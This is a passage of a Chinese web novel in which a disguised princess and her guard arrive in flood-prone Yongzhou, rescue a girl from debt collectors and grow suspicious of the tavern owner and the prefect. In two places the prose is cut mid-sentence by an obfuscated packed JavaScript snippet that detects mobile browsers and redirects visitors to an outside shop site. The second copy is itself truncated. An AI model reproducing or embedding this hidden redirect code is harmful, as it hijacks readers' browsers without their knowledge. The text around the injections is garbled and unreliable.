虽然这趟出行的一开始略显波折,但好在途中还算顺利,一行人也是有惊无险地到达了永州地界。 还未踏进永州的城门,沈悠然就感觉到,这里和宣阳城很不一样。 这里的居然有很多填满了泥沙的田地,严晟说,这叫“淤田”。 从前每逢夏日河水高涨,原本茂盛的庄稼就只能等着被冲上岸的河水泡烂,百姓的辛苦劳作就此功亏一篑。 后来百姓们索性开始种水稻和莲藕,勉强能够保证温饱。 只是这一路上来,沈悠然很好奇,居然都没怎么看见有人在田地里农作。 严晟见怪不怪了,“一来是永州常年遭水患,年轻人不愿呆在永州,早就另谋出路了,只剩下一些舍不得离开故土的老人;二来则是在永州靠农田吃饭就是等老天爷赏赐,与其赌自己的运气,不如找点其他的财路。” “譬如永州的铁器,在整个大盛都是叫得出名号的。” 马车停靠在城门之下,守卫正在挨个盘着通关凭证。 很是尽职尽责的模样。 沈悠然难免猜测,或许是这么多年过去了,永州的官员早就换了一波了,不再是那种尸位素餐的黑心官了。 因为进城的人不多,没等多久,就排到了队列的最前方。 守城的官兵将几人的路引看得很是仔细,甚至还问起了从何而来,去往何处,做何目的。 路引上的内容,沈煦并不怕被人看出来是造了假,毕竟这假路引也是由户部的人按照正式手续做出来的。 好在之前,几人就应该对过说辞了。 “这位官爷,在下从宣阳城而来,听闻永州铁器名扬天下,遂奉家父之意,特来此地考察,做点小生意糊口。” “这位是在下的护卫,马车上的是同行家眷。” 守卫撩开窗帘,在马车内仔细扫视了一圈,发现并无异样,便放了行。 一直等到进了城,确保守卫们听不见之后,沈煦才继续安排。 “我们先去找歇脚的地方,先休整一番。等到了晚上,就去这里永州最热闹的酒楼吃饭。” “酒楼里人多嘴杂,是打听消息最好的去处。” 靠在椅子上的沈悠然瞬间来了精神,总算是可以去吃吃喝喝了。 严晟回过头看了她一眼,总觉得她有一种很特殊的力量,能让自己看见她,就觉得心情会跟着一起愉悦。 但愿永州是真的同他从前见过不一样了吧。 * 客栈里的小二听说他们是从宣阳城来的客人,想要打听这里最热闹的地方,不住地拍着手背叹道可惜了。 “客人们来得可真不是时候,咱们永州啊,最热闹的活动应该是去湖边游船,顺着永宁河一路往下,听着画舫里传来的歌姬吟唱,看着周遭的红枫,别提多逍遥了。” “永宁河?”沈悠然忍不住出声,“不是说叫悬河吗?” 那小二嘴角微沉,但还是想着不能得罪客人,尽量保持着笑。 “姑娘,从前这确实是叫做悬河,只是这老是悬河悬河地叫着,也不好听呐,若是被河神听到了,会怪罪的。” 沈悠然觉得很值得细想。 因为这悬河的水淹不到自己家里,所以外地的人便不会去在意叫什么。 但是永州的百姓,因为身处水患地区,就连一个名字都格外重视。 这大概就是板子没打在自己身上,就不会觉得疼吧。 客栈的老板看小二迟迟未归,急得一脑门的火,咚咚地上了楼,看见小二身影就是一顿好骂。 “你个臭小子,让带客人进房间,你就在这偷懒是吧?楼下这么多人,还不快下来帮忙!” 他伸出手拧着小二的耳朵,沈悠然看的觉得耳尖都跟着发热。 “掌柜的,是我们向他打听了一些事而已。”她出言解释。 客栈掌柜看向沈悠然,眼睛微眯着上下打量她。 那目光沈悠然看不明白,但觉得不太舒服。 “几位客人是想打听点什么?在下是土生土长的永州人,整日在客栈里走南闯北形形色色的人都见识过,客人要是想打听消息,比起那臭小子来说,在下更合适。” 因为不适,沈悠然没了兴致,转身进房不想再同他言语。 就怕自己再看他两眼,就想让严晟去把他的眼睛给挖出来。 虽说永州的居民不如宣阳城多,但因为他们所住的客栈在永州的主街道上,来来往往的百姓也不少。 沈悠然住的房间位置好,推开窗恰好能看到旁边的街道,两侧没有民居,只有鳞次栉比的的商铺。 她靠坐在房间的椅子上,微风迎面抚来,就着客栈送来的热茶,悠闲得好似在茶馆里看戏。 这样热闹的场景,她喜欢看。 看路边的幼童吵着要买糖葫芦,一旁的母亲数了数兜里的钱,在得知不能只买半串的时候艰难地拨出两个铜板递给小贩。 看旁边书铺的老板将书一本本地摊开来放在屋檐下,旁边卖梨子的小贩递过去两个梨,打趣着说书掌柜整日都在晒书,该把自己也晒晒。 看一对母女抱着两匹正红色的裁缝铺子里出来,掌柜喜滋滋地站在门口送她们离开,嘴上还说着等摆酒席了一定要告诉她一声。 看…… 沈悠然猛然起身,只因她看见有三个男子,把一个小姑娘拖进了拐角处的小巷子里。 光天化日之下,他们岂敢! 情绪一瞬间被愤怒占领,沈悠然匆忙提着裙摆,几乎是直接推开了严晟的房门。 她不是莽夫,人生地不熟的,又确实没有一身的好功夫,对方无论是人数还是气力都比她占优势,她又不是傻子不会只身前去。 严晟正准备更衣,听见有人推门,皱着眉头快速地将原本打算散开的腰带系紧。 比之前还要紧。 “小姐,这么着急,有什么事吗?” 沈悠然心系那个姑娘,根本就没注意到自己差点看见什么不该看的,上前就想去去拽严晟的手腕。 严晟只觉得可能是连日来赶路让他的脑子变得混沌不清,差点被撞破更衣的窘迫还在,一时之间还以为沈悠然是打算霸王硬上弓,当即双手护胸往后一缩。 沈悠然理所当然地拽住了他的……腰带。 气氛瞬间变得尴尬。 严晟脑子里想着,幸好方才将腰带系紧了。 沈悠然也懵了,这下是不是显得她有点猴急? “你……” “我……” 好在沈悠然还有理智尚存,反手去勾严晟的手,拽着他往外走。 “快快,别耽搁了,跟我去救人。” 一听到救人,严晟也顾不得扭捏,神色凛然问到,“怎么回事?” 只是坐在楼上看着,沈悠然也不清楚发生了什么。 好在那条小巷子离得近,出客栈没走几步就到了。 害怕自己晚两步就会发生不可挽回的事,沈悠然脚步匆忙,等赶到的时候,正看见一个男人抓着那姑娘的发尾使劲拉扯。 “说啊,你哥哥躲在什么地方?今天不说出他的下落来,你就别想走。” 小姑娘疼得龇牙咧嘴,咬着牙回应,“我说了,我不知道。” 男人火气更旺,招呼着另外两个人,从腰间抽出两截麻绳来。 “小娘们,你不说是吧?那我就把你卖到青楼里……我操,哪个不长眼的敢打你爷爷。” 沈悠然拍了拍手,角落里的东西也不知道已经摆了多久,这笸箩扔出去的时候都带着一层灰。 “欺负一个小姑娘还要三个男人上,还敢自称爷爷?”沈悠然冷笑道,“你们意图拐卖女子,我已经报官了,你们一个都别想走。” 但出乎意料的是,那三人一脸的无畏,“报官了是吧,那太好了,我们就在这等着官府的人来。” “什么拐卖的,说得这么难听,哥几个就是嘴上吓唬吓唬她罢了。” “姑娘,你要是能把官府的人找来,让她哥哥把欠的钱还了,我们哥几个还谢谢你呢。” 原来是讨债的。 “冤有头债有主,既是她哥哥欠钱,你们理当去找她哥哥才是,在这欺负一个小姑娘算什么?” 男人暴怒地挠了挠头,“我要是能找到她哥哥,跟她在这废什么话。” “那狗东西,肯定是见着还不起钱来,找地方躲起来了,我这也是没了法子才找到他家里人的。” 那姑娘又急又气,“我都说了,我不知道他在哪,兴许已经死在外面了!” “死了也得给我诈尸把钱还了!”男人冲着她大吼,“不然,就拿你来抵债。” 小姑娘揉着自己的脑袋,刚才那番撕扯,让她觉得自己的头皮好像都要被扯下来了。 “他欠烂赌债的时候没想到过我和娘,怎的还钱的时候就找我们了!这天底下哪有这样的道理!” 她越想越觉得委屈,明明又不是自己的错,怎么要被卖掉的却是自己。 当年闹饥荒的时候,爹爹就说要卖掉她,是娘拼死护着,幸而爹爹死得早,才免于一难。 怎么现在,她又要因为哥哥的过错被卖掉。 她是什么比猪狗还要贱的人吗? 她娘难道要一辈子都当牛做马来照顾家里这两个男人吗? 小姑娘瞬间红了眼眶,刚刚被扯着头发的时候都没哭,现在一想到自己的娘,直接就是忍不住了。 沈悠然在旁边看着,冷冷开口问道,“她哥哥欠你多少银钱?” 男人闻言,瞬间脸色一遍,“哟,这是哪里来的有钱人家的小姐来发善心啊?这是打算替这小姑娘还钱吗?” “不多不少,刚好一百两。” “你放屁!”小姑娘气得跳起来,用脑袋撞他下巴,“明明只有八十两。” 一声清脆声响,猝不及防的男人捂着脸侧叫痛。 他当即就想要打回去,只是在看见严晟之后,犹豫再三还是觉得逞口舌之快。 “臭娘们,敢偷袭。” “八十两那是前天欠的,今天算上利息,一共是一百两!” “对了,你刚才撞我这么一下,再给十两的医药费!” 小姑娘捂着脑袋,气得说不出话来,“你……” “姐姐, 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“什么律法不律法的,别在这吓唬人了!我有说过他一次就是一百一十两了吗?这是好几次,不对,差不多得有十次了吧,十次欠的钱,对、十次。” 像是料到了他的这番话,沈悠然装作无可奈何的样子。 “那欠条呢?她哥哥欠了你们的钱,总该是有欠条的吧?你把欠条给我看一眼。” 男人一副早有准备的样子,从兜里掏出一张纸条。 就在他打算递过去的时候,目光又不可避免地扫到严晟。 虽然严晟从头到尾都没说过话,但单是从他的身形看起来,就让人很有压力。 是以男子并不敢直接将欠条给她,怕沈悠然硬抢,只敢拿着在她面前晃悠着。 沈悠然眼快,看清了上面的字。 “成了,赌资过高、私收高额利钱,光是这两点,你们这几个人至少五年不愁饭吃了。” 其中一人没听懂,忙问是什么意思。 那男人啐了一口,“蠢货!什么意思?送咱们兄弟去吃牢饭的意思!” “臭娘们,敢耍我!也不答应答应你何爷是什么身份!这么爱管闲事,爷让你见识一下什……啊、啊,痛!痛!” 从他骂的第一句开始,严晟就觉得刺耳,一时也就没忍住,掰着他的两根指头就往后翻。 严晟倒是面不改色,但男人整个人都快厥过去了。 偏生沈悠然还在添油加醋,转过身子去看巷口,“算算时辰,官差也差不多来了吧……” 男人心中害怕,既是因为官差,也是因为严晟。 趁着严晟松手的功夫,马不停蹄地带着另两个人跑了。 “你们、你们给我等着!” 危机暂时解除了,小姑娘揉着红红的眼走到沈悠然面前。 “谢谢姐姐……” 因为出门匆忙,沈悠然也没来得及带银钱,顺手就拔下了头上的簪子。 “这个你先拿去,别去给你哥哥还赌债。” “下次你再看到这群人,记得往人多的地方跑,最好直接去官府。” 小姑娘沉默着没应下去报官的话,只推脱着不要,忙问她是哪家的小姐。 沈悠然直接把簪子插进了她的发间,“我是来永州玩儿的,不是哪家小姐,东西也不值钱,只是外面用金子裹了一层。” 小姑娘摸着头发,没忍住吸了吸鼻涕。 “姐姐,我叫萱娘,每日晚上都和我娘在福全楼里唱小曲儿,姐姐若是去福全楼吃饭,记得来找我,我唱曲儿给姐姐听!” 她垫着脚,用手指着旁边的一栋楼,“那儿就是福全楼,是我们永州最高的楼。” 沈悠然顺着方向看过去,果然看见了一栋四层楼高的建筑。 每层上都挂满了灯笼,哪怕现下还未曾天黑,都能想到入夜之后这回事多么的灯火辉煌。 严晟站在旁边,低声说道,“那掌柜的也说,整个永州夜里最热闹的就是这福全楼。” 萱娘这好像才想起还有一个人似的,小声嘟囔着,“谢谢哥哥。” 似乎又是想起方才严晟出手的模样,她拉着沈悠然的衣摆,示意她低头。 “姐姐,这是你心上人吗?你还是别找这种人做夫君了,万一他以后打人……我爹爹就是这样,会拳脚,打人可疼了。” 沈悠然一时之间也不知道是该笑还是该难过。 虽说是想要说悄悄话,但严晟的耳力不差,自然是听到了萱娘的话。 “正常人都不会无故打人。” “只有打不过强者的人,才会把拳头挥向更弱的人,我不是。” 萱娘闻言,不免多看了他两眼。 有次爹醉了酒和邻居家的叔叔扭打在一起,把别人眼打肿了,赔了两吊钱的医药费。 但要是娘的眼睛被打肿了,邻居家的叔叔婶婶就会来劝说,说娘嫁给了爹,就该受着爹的脾气。 萱娘不懂,但觉得奇怪。 不过严晟这么说,萱娘倒是懵懵懂懂地点了点头。 “那……哥哥也来福全楼吧,萱娘也唱曲儿给哥哥听。” 37. 第 37 章 萱娘本想请沈悠然二人去她家坐坐。 只是这会儿子她还急着去梳妆打扮,实在是没有功夫去招待沈悠然二人。 萱娘说她小时候永州闹过饥荒,后面他爹去世之后,娘一个人照顾他们兄妹二人,日子过得不好,小脸总是蜡黄蜡黄的。 她和娘在酒楼唱曲儿,也算是抛头露脸的活计,如果不好好拾掇拾掇,那些客人们不会点她们。 好在娘有个手帕交,愿意借脂粉给她们用,平日里她们总是先提前去这个姨母家里收拾好了,再去酒楼。 得到沈悠然的保证会去看她之后,小姑娘才蹦跶着跑开了。 看看时辰,现下还不到用晚膳的时候,但既然都出了门,也断然再没有回客栈待着的道理。 于是沈悠然决定在外面逛逛再回去。 而严晟,身为护卫,理所应当地跟在小姐身旁保护安全。 和方才坐在高楼上远观不同,自己亲身走在大街小巷的时候,才能更加感受到那份烟火气。 她还撞见了方才那对买糖葫芦的母子,之前两个铜板都要数好几次的妇人站在书架前,掏出一块木片,上面用炭笔写着什么东西。 书店的掌柜皱着眉说这些书可不便宜,给妇人提议让她买旧书。 妇人左右观望着,掂着腰侧的荷包,指了指右侧的旧书。 似是为了缓解窘迫,妇人主动同掌柜攀谈起来,说她家小子再过个把月就要去私塾上课了,说先生夸她儿子聪慧,将来定能中举。 掌柜顺势夸她一看就是命好的人,将来儿子做了大官,她就可以不用住在永州这种地方了。 妇人嚅嗫着唇,有些向往,又有些遗憾,“走什么呢,永州多好啊。” 小孩舔着手中的糖葫芦,满不在乎地夸下海口,“那我以后就在永州做官,这样娘你就不用离开了。” 童言稚语,引人发笑。 掌柜将书递给她,又从旁边扯了几张纸,说是要送给孩子的,不收钱,叮嘱着要让他好好读书,以后在永州做个好官。 妇人先是推辞,老板坚持要送,便忙不迭地感谢掌柜的好意。 沈悠然就是在这个时候进了店,在架子上乱指了一通,笔墨纸砚全都买上了两套。 “你有钱吗?”沈悠然突然想到了这一个大问题,“我要是拿个镯子来买这些,是不是太像个傻子了?” 严晟失笑,觉得这是她会干得出来的事。 幸好他身上带有银钱,递给了掌柜的二两银子。 因为手脚实在是太过大气,妇人一时之间也忍不住侧目。 真好啊,若是有一日她也能给她家小子这般豪气冲天地买上一套笔墨纸砚,那就好了。 但她只能带着羡慕的眼神,看着眼前这位衣着光鲜的美貌小姐,骄纵地只是看了一眼,便说看起来也不怎么好用。 两人的目光在半空中对上,妇人慌乱之中连忙转过头去。 不过沈悠然却叫住了她,“这位阿婶,待会儿我还要去城中逛逛,这东西拿着碍手,烦请你帮我拿出去扔了可好?” 这、这…… 妇人难以置信,“这、还是新的,就、就这么扔了?” 沈悠然直接就是不理她,拉着严晟就要走,“快走吧快走吧,好不容易出来一趟呢!” 等出了门,装作不经意地回望,才看见那妇人高兴地抱着东西,拉着儿子就要走。 像是怕沈悠然后悔一样。 沈悠然冲着严晟扬了扬眉,一脸的得意,眉眼间好似在说话——“夸我,快夸我!” “小姐真是心善。”严晟说道。 但这样敷衍的夸赞显然不能让沈悠然满意,“只是心善而已?难道你不该夸夸我聪慧吗?” “萱娘和那妇人,都是好人,都不会去贪不属于自己的东西。” “萱娘只有一个母亲带着她这么个十二三岁的姑娘唱曲儿讨生活,父亲早亡兄长好赌,显然家境艰难,是以她虽然直到不能白拿别人的东西,但也会念着家中母亲。” “刚才那位妇人,虽过得也不宽裕,但还能送家中幼童去私塾,想必是再拮据点日子也是能过得下去的。对她可不能硬塞,只能寻这种法子了。” 沈悠然忽然站定,转过头来看向严晟。 严晟一时不察,差点和她撞上,反手拉住身后的木架。 看起来就像是被她逼到墙角了一样。 “怎么样我是不是蕙质兰心善解人意通情达理?”沈悠然眨巴着眼睛问道。 严晟视线往下,看见她那双水润的眼,不由得屏住了呼吸。 总感觉快要溺于这片涟漪里。 “是,蕙质兰心善解人意通情达理。”他板着脸错开目光。 沈悠然撇撇嘴,觉得不太满意。 她也想不通自己这是怎么了,如果严晟反驳,她应该会不开心的;但他要是顺着她的话,也没有让她很高兴。 她喜欢看见严晟被她步步紧逼然后露出那副和平日里死板冰冷不一样的表情。 觉察到沈悠然的情绪没那么高昂了,严晟也不知道自己做错了什么,下意识地就想要去触碰她。 慌乱的时候,就想要去触碰她的体温。 一旁的小贩看着他俩着扭捏模样,急得直跺脚。 手中的瓜子也不香了,他随手抓起架子上的一个盒子,挤进两人中间。 “二位,看看簪子不?” 突然响起的声音吓了沈悠然一跳,她下意识地就跳开,半藏在严晟身后。 小贩嘿嘿一笑,看着严晟,“惹夫人生气了吧小伙子?哥是过来人,哥教你。” “这不是我……” “看到这簪子了吗?名家手作,掐丝工艺,雍容华贵,适合道歉送。” “我和她……” “不然这一款,绢花技巧,青春靓丽,适合夫人这种年轻小姑娘,用来认错事半功倍。” “你先别……” “若是喜欢古朴风格的,这还有木簪,上面的雕刻是咱们永州首屈一指的木雕大师一刀刀雕刻而成。” 小贩妙语连珠,将严晟解释的话堵在口中说不出来。 沈悠然看他吃瘪,心里就高兴,蹦跶着来到小摊面前,真就认真的挑起了簪子。 严晟看她笑颜重现,心甘情愿地掏了银子。 “选一个吧。”严晟示意她因为没有发簪而略显松散的发髻,“就当是蕙质兰心善解人意通情达理的奖励。” 沈悠然抿着唇,摸了摸突然发烫的耳尖。 什么嘛……谁要他来奖励了。 * 沈煦在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812526|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外胡乱逛了一下午,打听到的热闹地方也是这个福全楼。 听闻这楼不是永州本地的人开的,是一位途径永州的富商,见此处水患严重,心系百姓们安危,便投了银钱在此修建堤坝。 这楼原不是酒楼,只是方便给修建堤坝的工人们用餐开的小餐馆,百姓们感念富商的好心,时常来此照顾生意,渐渐地生意愈发火爆,然后发展成了现在的模样。 小二看他们四人打扮不俗,热情地推销着楼里的菜品。 沈煦深谙打听消息的门路,点的全是大菜,那小二脸上的笑都快堆起褶子了。 等他下去之后,沈悠然看了眼楼下墙上挂着的餐牌,压着声音说道,“我下午出去逛了逛,一根糖葫芦也就两文钱,这福全楼的菜价,比宣阳城里还贵了。” “方才上来的时候,我看见有个中年男子指着旁边一个约莫十来岁的小孩儿与同桌攀谈,说他儿子的周岁宴就是在福全楼办的,想必这福全楼的年岁也不短。按照这个势头,早就赚回了修堤坝的钱。” 想来这富商修堤坝不假,但这般酒楼能在城中红火数十年,也未曾没有百姓们惦念着富商的好而捧场的原因。 而这富商也是看中了这一点,才提高了菜价吧。 严晟将用热茶烫过的碗筷递给其他人,淡淡地说了几个字。 “但行好事,莫问前程。” 赚钱是真,但修堤坝也是真,一座堤坝对于永州这种长期受水患困扰的地方来说,比菜价重要太多了。 沈悠然点点头,好像也是这个道理。 事是好事就行了,总归没闹出错来,就不要再去管其他的了。 小二再带着菜上楼的时候,脸色和方才似乎有些不一样。 看向四人的眼神,好似更恭敬了。 “贵客们,这是你们的菜,都上齐了,若是有什么问题您随时唤我便成,就不打扰各位用餐了。” 沈煦怎么会这么轻易地放他离开呢? “等等,小二哥,我们这是第一次来永州,还烦请小二哥同我们介绍介绍这几道菜呢。” 那小二申请不太愉悦,似乎是不想多呆,只简单介绍了个菜名就不再言语。 同方才那般恨不得告诉他们种菜用的是哪座山头引下来山泉的模样大相径庭。 沈悠然低着头,小声同蔺朝暮嘀咕着,“方才倒是热情,现在我们菜都点了,就暴露本性了。” 沈煦对他的不耐恍若未闻,继续同他攀谈着,聊他们这的生意好,夸赞他们有本事经营这么大一间酒楼。 小二被说得有些飘,当即夸赞沈煦有眼光,还说道就连官府的人也喜欢来福全楼呢。 就着他的话头,沈煦就打听起了永州的官府。 小二又立马收住了话头,直言官府里都是青天大老爷,借口楼下忙碌,便匆匆离去了。 这还要是看不出来这其中有什么猫腻,那就真的是傻子了。 只是他避而不谈,这酒楼里熙熙攘攘的,总不能谁都去问两句吧。 那不会被人当成别有用心之人才怪呢。 “先填饱肚子吧。”沈煦指着桌上至少看起来还不错的菜,“吃饱肚子再想其他的。” 话音刚落,就瞧见对面的沈悠然放下筷子,挥了挥手。 “萱娘,这里!” 38. 第 38 章 萱娘拾掇了一番,沈悠然一开始都还没认出来。 下午见到的时候能够明显感到她就是个小姑娘,但现在擦了蚌粉面脂,看起来都有些不真切。 不像她了。 “娘,这就是我跟你说的,下午帮了我的那个姐姐。” “……和哥哥。”她又嘟囔着补充了一句。 沈悠然微微侧过身子,看见一个姗姗来迟的妇女。 她怀抱着一把琵琶,也不知道是琵琶太重有些吃力,还是说因为其他的原因,看起来肤色发青,人也有些虚弱。 沈悠然还注意到她走路的姿势有些怪异,不难猜想她是腿脚上有伤,行动不便。 但等走到四人面前时,她还是端正地行了一个礼。 “我听萱娘说了,多谢贵人们出手相助,否则、否则……” 说着说着,她忍不住抬起袖口,在眼角擦拭着。 “娘……”萱娘拍了拍她的肩膀,“我都说了,我好着呢。” “这几位姐姐哥哥是从外地来的客人呢,我们让她们听听咱们永州的调子吧?我可是答应了姐姐要唱小曲儿给她听呢。” 妇人连忙擦了擦脸,摆出了弹琵琶的架势来。 母女二人搭配默契,歌是唱得婉转,引得旁桌的人都纷纷侧目。 沈悠然注意到,不少的目光都是落在萱娘身上的。 一曲刚落,她就看见旁边有几个食客,迫不及待地招呼着萱娘母女过去。 那目光,让人觉得不适。 沈悠然轻嗤一声,直接从掏出两块银锭扔在桌上。 “这俩人,今晚本小姐包了。” 那两人喝了酒,正是上头的时候,也不是真的想听萱娘唱曲儿,不过就是想把她叫过去调戏一番。 现下又多了个貌美的姑娘跳出来,更是激动。 “大哥,今日这个福全楼,咱们算是来对喽!这么多貌美的……” 他的话音,生生地被半根从眼前擦过的筷子给截断了。 因为被从中间折断了,所以是半根,不敢想这尖锐的断裂处如果插进眼里…… “管住你的嘴。”严晟冷冷说道。 他的动作太快,连沈煦都还没来得及反应过来,回过神才反应过来,他仅仅是用一个大拇指就将筷子一分为二。 不愧是他的好兄弟,是真心的帮他护着妹妹呢。 虽然严晟看起来没有街口屠夫那般壮硕,但那几个食客也不知道为什么,腿肚子居然有些打颤。 不敢跟严晟呛声,但又不甘心在女人面前认了怂,面子上还得要撑一下。 “我再多出半两银子。”其中一个矮胖的男子哆嗦着从怀里掏出两块银锭,然后又在怀里掏出了另一个荷包补了半个。 沈悠然的目光这才从严晟身上挪开,忍不住轻嗤出了声。 “抠抠搜搜的,磕碜谁呢。” 说吧,她又扔出三个银锭子。 其中一块还因为没收住力气,从桌上掉了下去,咕隆着滚到了矮胖男人的脚下。 男人嘴角一抖,终于是忍住了弯腰去捡的冲动。 比起这么貌美的小姑娘不是他的,这么貌美的小姑娘能够面不改色地扔出五块银锭子,让他更难受。 他只能恶毒地想着,谁知道这钱哪来的呢,说不定是陪两个男人吃饭得来的,所以那个男人才会帮她出气。 一定是这样的。 看着他脸上的横肉一抖一抖的就是不继续掏银子,沈悠然笑得更大声了,偏偏还要激他。 “不是吧?这才五块呢,怎么就不继续了啊?不会是不敢跟了吧?真是没劲呢。” “没钱还学别人装阔,真丢人。” 矮胖男人被说得脸色涨得铁青,单手一拍桌子,指着沈悠然的鼻梁就想开骂。 但仅仅是一眨眼的功夫,他的手指就歪了个方向,随之而来的是一声惨烈的叫声。 “痛痛痛、放开、放开,好汉饶了我吧。” 严晟手上动作不减,直到听到一阵咔嚓声,男人的食指硬生生得被掰着反了方向。 “有话好好说,别指指点点的。”严晟冷声警告。 到底是谁没有好好说! 奸夫□□!奸夫□□! 矮胖男人捂着手指,嘴唇气得发抖,吐出嘴的话却只剩下了求饶。 楼上闹出的动静很快惊动了掌柜的。 他开的这酒楼,平日里确实也有喝多了起冲突的情况,这种时候他一般就是打个哈哈每桌送两道菜,把人安抚好了就没事了。 只是当他发现起冲突的两方是谁之后,便张罗着让人将矮胖男人那一桌请了出去,照价退他饭菜钱。 矮胖男人气急败坏,但却没有发作。 比起这些外来客,福全楼的靠山更让他忌惮,只能咬着牙走了。 “对不住了客人们,”掌柜的弓着腰道歉,“大厅里鱼龙混杂的,难免有不讲理的客人。” “耽误了您用餐,是小店的不是。这样吧,小的这就让人把楼上最好的隔间收拾出来,那里能俯瞰咱们整个永州城,客人们远道而来,可得好好欣赏一下咱们永州的夜景呢。” 严晟眉间一动,反问道,“你怎么知道我们是外地来的客人?” 掌柜的浑身一震,过了半晌才讪笑着回话,“几位天人之姿,小的却从未在城中见过,想必肯定不是永州人吧。” 寻常人可能会因为他的恭维而喜悦,但沈悠然四人可没有那么蠢。 他们这是被人盯上了。 是从什么时候开始的呢?是住进客栈的时候,还是踏入福全楼的时候? 这个盯着她们的人,是为钱财,还是为了其他的什么东西? “我也想看看这永州的风光”沈悠然提议道,“不如我们去隔间吧?” “萱娘也跟我们一起。”她叫上了从刚才开始就惴惴不安的母女俩。 掌柜的闻言,扫了一眼两人。 “应该的,应该的,客人们喜欢咱们永州的调子,是咱们永州的荣幸。” “在下这就让人给许娘子多支些银子,好好唱,就当是帮咱们福全楼给客人赔罪了。” 萱娘的母亲,也就是她口中的许娘子抬头扫了掌柜一眼,抿着唇没有说话。 * 顶楼的隔间如掌柜所说,可以俯瞰整个永州城。 夜色朦胧之下的点点灯火,有一种别样的美。 但对于很多人来说,隔间最好的地方,是隔音。 沈悠然又不是真心想要听永州调,不过是见不得萱娘被欺负罢了。 “你们在福全楼里,日日都会有这样的客人吗?”沈悠然问到。 许娘子依旧是那副咬着唇怯怯懦懦的样子,倒是萱娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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严晟心想着,还算聪明,没去没人的地方,至少还能隔着一扇门看见她是否安全。 沈煦原是想同严晟商议着去福全楼内部探探虚实,谁料一转过头就看见好友脸上带着莫名其妙的笑。 有些欣慰,又有些他觉得熟悉但说不出来的东西。 看起来有些瘆人…… “阿晟,你……” 他不明就里地想要顺着严晟的方向看过去,心中大骇。 “阿晟,你不会是看上……” 严晟呼吸一滞,那瞬间只觉得失去了思考的能力,麻木地反问道:“看上什么?” 沈煦皱着眉头,一脸的不赞同,“你不会是看上萱娘了吧?你……做个人吧,那还是个孩子呢!” 此时,严晟只能庆幸自己没有饮酒。 “说什么胡话呢,连一个孩子都看得上,那岂不枉为人?”严晟连忙反驳。 沈煦这才放心了些,不用担心自己的好友酿下大错。 严晟清了清嗓,指尖无意识地敲击着桌面,时不时抿着唇,一副欲言又止的模样。 “殿下、如若我……” “哥哥!我打听到了!” 39. 第 39 章 沈悠然将说好的银子塞给了许娘子,就打发二人离去。 许娘子一开始还不愿收,若不是沈悠然在,她们母女二人少不得还要被那几个醉酒的客人调戏一番,又怎能这般轻松,跟随便唱两首曲子讲一讲琵琶就能赚到平日里都赚不到的银钱。 后面见沈悠然坚持,便只拿了一块碎银子,坦然若是再多她就再无颜面了,还坚持要将沈悠然口中那“金包银”的簪子还回去。 沈悠然这才只能收回,脑子里有个念头,想要帮人,也不能只是一个劲的给银子呢。 等萱娘母女走了,她才将打听到的东西娓娓道来。 福全楼背后的靠山,是永州知州李文枢。 听闻大约八九年前,李文枢得福全楼的主家于老板所救,为了感谢于老板,还特意在酒楼里包了一日的席面宴请永州百姓。 席面上还有一出重头戏,为了报恩,李文枢当场宣布往后家中长子出生,会随于老板姓。 那会儿的李文枢虽然还不是永州的知州,只是永州下辖州县的知府,但也是吃皇粮的正经官,和于老板这种商人不是一个阶级。 知府设宴感谢富商尚且会成为百姓们口中的谈资,更何况让自己的儿子随他人姓这等大事,即便过了十二年,整个永州的人都还会津津乐道。 是以,连知州都要给福全楼几份薄面,一般的百姓又怎敢在此闹事。 或许是恩将仇报的故事见多了,乍一听见李文枢让孩子跟恩人姓的故事,第一反应竟是觉得诧异。 “想来是我们多虑了,”蔺朝暮柔声说道,“毕竟是救命之恩,这位李知州想必是个知恩图报的人。” 沈煦点点头,紧接着补充。 “午间的时候,我和朝暮也在客栈里悄悄打听过了,永州近几年水患虽未绝,但年年都在加固堤坝,倒是再没见过那等让人流离失所的大灾了。” “想来也是这位李知州的手笔。” 加固堤坝,虽不能永绝后患,但却是最稳妥的办法了。 “这么看来,那李文枢是个好官?”沈悠然竟隐隐有些失落,“还以为能够大干一场呢。” 她可是抱着要替父皇解忧的目的来的呢,人人都是好官了,那岂不是无用武之地。 沈煦见状,敲敲她的脑门,“莫要本末倒置了,我们本就是为了百姓而来,若知州是个好官,岂不是正如我们的意。” 道理当然都懂,但不妨碍沈悠然撇嘴,故意唱反调。 “那也不可放松警惕,连人都没见过呢,万一他这是故意在外搏了个好名声呢?” 严晟无意识地敲击着桌面,觉得沈悠然的猜测也不是全无道理。 “总觉得事情似乎太过巧合了。一个外地的富商,偏偏就路过了永州,在永州捐款修建堤坝又开了间酒楼。” “不同的生意有不同的做法,我们这趟出行,对外宣称家中做的是杂货生意,这样天南地北地跑才合理。可若是办酒楼,永州有水灾隐患,周围能种的庄稼也多有限制,家禽也多以鸡鸭为主较为单一,种种比较之下,并没有那种能让人舍弃旧居迁来的优势。” “再看李文枢,一个州府的知府,偏偏是在永州被救,而后又调任永州当了知州……” 严晟心中只觉得有些说不上来的怪异,但一时之间又没能想到到底是哪里的问题。 “不如我们去那个什么……”沈悠然一时之间想不起地名,苦恼地敲着自己的脑袋,“就是李文枢之前任职的那个州县……” “礼县。”严晟体贴提醒。 “对对对,就是那个礼县,我们去礼县看看,万一就能发现他的马脚呢?” 看着眼前的这两人,沈煦竟意外地觉得两个人有一种莫名的般配。 一个多疑不轻信于人,一个……看热闹不嫌事大。 不过反正他们也是为了来巡查,走一遭也无妨。 * 